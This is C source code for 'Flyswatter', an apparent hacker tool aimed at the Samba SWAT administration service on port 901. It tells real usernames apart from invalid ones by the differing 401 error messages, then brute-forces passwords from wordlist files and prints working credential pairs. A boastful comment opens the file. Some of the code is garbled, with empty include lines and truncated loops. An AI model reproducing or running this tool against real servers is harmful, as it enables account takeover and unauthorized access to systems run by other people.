/* Flyswatter. I must say, SWAT code is pretty ghetto. they 'protect against crackers' by sending bad auth errors if your user donesnt exist oh wait oops they forgot to have the same message if the user does exist but you the wrong password. I guess they kina missed the boat. Anyway, it works. Yeah, the base64_encode() is pretty damn ghetto. Oh well, at least its readable. Miah rules. Thanx for the ideas on this -dodeca-T t12@uberhax0r.net PS: If you have ant problems, I'd say your best bet is to live in harmony with the little creatures. Remeber, they just clean up after your messes. */ #include #include #include #include #include #include #include #include #include #include #include #define SWAT_PORT 901 #define MAX_NAME_SIZE 16 #define MAX_PASS_SIZE 16 #define CHECK_PASSWORD "centerfield" #define USER_AGENT "super-hyper-alpha-pickle-2000" struct VALID_NAMES { char *name; struct VALID_NAMES *next; }; struct VALID_NAMES *add_to_names(struct VALID_NAMES *list, char *name) { list->name=(char *)malloc(MAX_NAME_SIZE); memcpy(list->name, name, MAX_NAME_SIZE); list->next=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES)); list=list->next; memset(list, 0, sizeof(struct VALID_NAMES)); return(list); } void chop(char *str) { int x; for(x=0;str[x]!='\0';x++) if(str[x]=='\n') { str[x]='\0'; return; } return; } char *base64_encode(char *str) { char *b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; int x, y; unsigned char *output; output=(char *)malloc(strlen(str)*2); memset(output, 0, strlen(str)*2); for(x=0, y=0;x> 2; output[y+1] = str[x] << 6; output[y+1] = output[y+1] >> 2; output[y+1] = output[y+1] | (str[x+1] >> 4); output[y+2] = str[x+1] << 4; output[y+2] = output[y+2] >> 2; output[y+2] = output[y+2] | (str[x+2] >> 6); output[y+3] = str[x+2] << 2; output[y+3] = output[y+3] >> 2; } if(strlen(str)%3 == 1) { output[y]=str[x] >> 2; output[y+1]=str[x] << 6; output[y+1]=output[y+1] >> 2; output[y+2]=64; output[y+3]=64; } if(strlen(str)%3 == 2) { output[y]=str[x] >> 2; output[y+1]=str[x] << 6; output[y+1]=output[y+1] >> 2; output[y+1]=output[y+1] | (str[x+1] >> 4); output[y+2]=str[x+1] << 4; output[y+2]=output[y+2] >> 2; output[y+3]=64; } for(x=0 ; output[x] != 0 ; x++) output[x] = b64[output[x]]; output[x+1]='\0'; return(output); } int check_user(char *name, char *pass, struct hostent *he) { char buf[8192]=""; char buf2[1024]=""; int s; struct sockaddr_in s_addr; memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); s_addr.sin_family = PF_INET; s_addr.sin_port = htons(SWAT_PORT); memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr, sizeof(s_addr.sin_addr)); if((s=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { fprintf(stderr, "cannot create socket\n"); exit(-1); } if(connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr))==-1) { fprintf(stderr, "cannot connect\n"); exit(-1); } chop(name); chop(pass); sprintf(buf2, "%s:%s", name, pass); sprintf(buf, "GET / HTTP/1.0\n" "Connection: Keep-Alive\n" "User-Agent: %s\n" "Authorization: Basic %s\n\n", USER_AGENT, base64_encode(buf2)); if(send(s, buf, strlen(buf), 0) < 1) { perror("send: "); exit(1); } memset(buf, 0, sizeof(buf)); if(recv(s, buf, sizeof(buf), 0) < 1) { perror("recv: "); exit(1); } buf[sizeof(buf)]='\0'; if(strstr(buf, "HTTP/1.0 401 Authorization Required") != NULL) { close(s); return 1; } else if(strstr(buf, "HTTP/1.0 401 Bad Authorization") != NULL) { close(s); return 0; } else if(strstr(buf, "HTTP/1.0 200 OK") != NULL) { close(s); return 2; } else { printf("Unknown result: %s\n", buf); exit(1); } } void usage(void) { printf("\nUsage: flyswatter [-a] -t -n -p \n"); printf("\n\t-a: Do not verify that users exist.\n"); exit(1); } int main(int argc, char** argv) { int x, y, z; int s; char buf[MAX_NAME_SIZE]=""; FILE *pfile, *nfile; struct hostent *he; struct VALID_NAMES *valid_names; struct VALID_NAMES *list_walk; int tryall=0; char target[1024]=""; char namefile[512]=""; char passwordfile[512]=""; valid_names=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES)); list_walk=valid_names; memset(valid_names, 0, sizeof(struct VALID_NAMES)); if(argc<2) usage(); for(x=1;xnext != 0) { fseek(pfile, 0, SEEK_SET); while(fgets(buf, sizeof(buf), pfile)!=NULL) { if(check_user(valid_names->name, buf, he)==2) printf("valid username/password: %s:%s\n", valid_names->name, buf); } valid_names=valid_names->next; } printf("Finished.\n"); exit(0); }